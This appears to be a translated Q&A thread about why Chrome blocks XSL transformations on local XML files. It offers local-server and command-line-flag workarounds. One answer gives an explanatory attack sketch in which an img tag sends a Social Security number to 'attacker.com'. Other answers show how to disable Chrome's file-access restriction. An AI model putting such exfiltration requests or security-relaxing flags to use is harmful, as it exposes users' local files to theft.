Chrome 可以在本地文件上执行 XSL 转换吗？

我查看了 xslt 并开始在 w3school 上测试示例。

但是，当我将 xml 和 xsl 保存到文件中并尝试在本地打开它们时，chrome 不会执行 xsl 转换。只有一张白纸。

我已经将 <?xml-stylesheet type="text/xsl" href="style.xsl">标记添加到 xml 文档中，并且 firefox 按照它应该的样子呈现它。另外，如果我通过网络服务器查看文件，chrome 会按照它应该的样子显示文件。

当链接是本地的时候，chrome 在找到样式表信息方面有问题吗？把 href 改成 file:///C:/xsl/style.xsl没什么区别。

更新: 这似乎是安全策略 不将文件:///* 视为同一源。的一个副作用，这会在控制台中出现以下错误:

不安全地尝试从框架中加载 URL 文件:///C:/xsl-rpg/style.xsl 和 URL 文件:///C:/xsl-rpg/data.xml。域、协议和端口必须匹配。

92583 次浏览
小开
最佳答案

The short answer is "No, use one of the diverse set of browsers out there".

The reason this doesn't work is due to a security concern that Chrome has addressed in a controversial way[1][2][3][4], by blocking XML files from accessing local XSLT files in the same directory, while HTML files can access .CSS files in the same directory just fine.

Across the issues cited above, users have asked for a clearer error message (since the domains, protocols and ports do in fact match), or at least displaying the XML without the styling. Chrome developers have ignored these requests.

小开

You can do this locally using Chrome's command line flags.

The specific flag is --allow-file-access-from-files

On OS X: from Terminal.app run /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

On Windows: from the command prompt run %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Note: You will probably have to quit Chrome if it is currently running otherwise Ch

小开

If you want to stick to the OP, the answer is No (as others have pointed out) but one way to fix the problem is to run a simple webserver and open files via http in chrome. If you have python 2.x installed, you can run a webserver by typing:

python -m SimpleHTTPServer

Or in python 3.x :

python3 -m http.server

and then open file using http://localhost:8000/yourfile.xml in chrome. Hopefully you just want to get your work done and its not a crucial thing to have to open file using file://

小开

It took a bit of deciphering on the Chrome Bug page - they are very keen on not explaining what the problem is, and why they chose breaking everyone rather than not breaking everyone.

Assume i have an XML file - somewhere - on my hard drive, e.g.:

C:\Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml

And a malicious entity - somehow - managed to drop a malicious Xml file on my computer, e.g.:

C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml

Imagine TrojanVirusWorm.xml contains a stylesheet Processing Instruction (PI):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

The attacker then instructs my browser to navigate to the locally saved trojanVirusWorm.xml file.

Apparently there's a way that an XML file can read the contents of the XSD file (rather than being transformed by the XSD file):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
<!--And then a miracle happens, and this XML file is able to read
the contents of the stylesheet xml file-->
<html>
<img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

I don't understand how an XML file can read a stylesheet file. But the Chrome team assures us that it's a danger, and that it cannot be solved.

Every other browser solved it. They solved it because it's not a problem.

小开

My workaround to see an xml according to an xsl file

Suppose we have an some_file.xml with headers:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. We download the file https://some-site.com/Common.xsl and place it next to the some_file.xml
  2. Change part of our header from href="https://some-site.com/Common.xsl" to href="http://localhost:8001/Common.xsl"
  3. Run in the directory with our files - python3 -m http.server 8001
  4. Open in any browser http://localhost:8001/some_file.xml
小开

You can enable Chrome to render the XSL file by changing your browser settings. A safer approach would be to access it via a local webserver, such as Visual Studio Code Live Server or Apache. See XSLT Won't Render on Local Files for steps.

小开

The simplest and quick workaround for this is to install the Web Server for Chrome which is open source.

https://chrome.google.com/webstore/detail/web-server-for-chrome/ofhbbkphhbklhfoeikjpcbhemlocgigb?hl=en

Once installed need to select a folder which will can be accessible as the server from the Chrome tab with default URL as - ​http://127.0.0.1:8887/

Now one can put XML files and stylesheet folder/files under the selected folder in step 2. XML file should have reference to stylesheet file and can directly open the XML file to view the stylesheet.

小开

  1. Create a batch file like as below and save it to a location for ex: chromex.cmd.

    "C:\Program Files\Google\Chrome\Application\Chrome.exe" --user-data-dir=C:\Temp --allow-file-access-from-files %1

  2. set default app to chromex.cmd for .xml files .


提交答案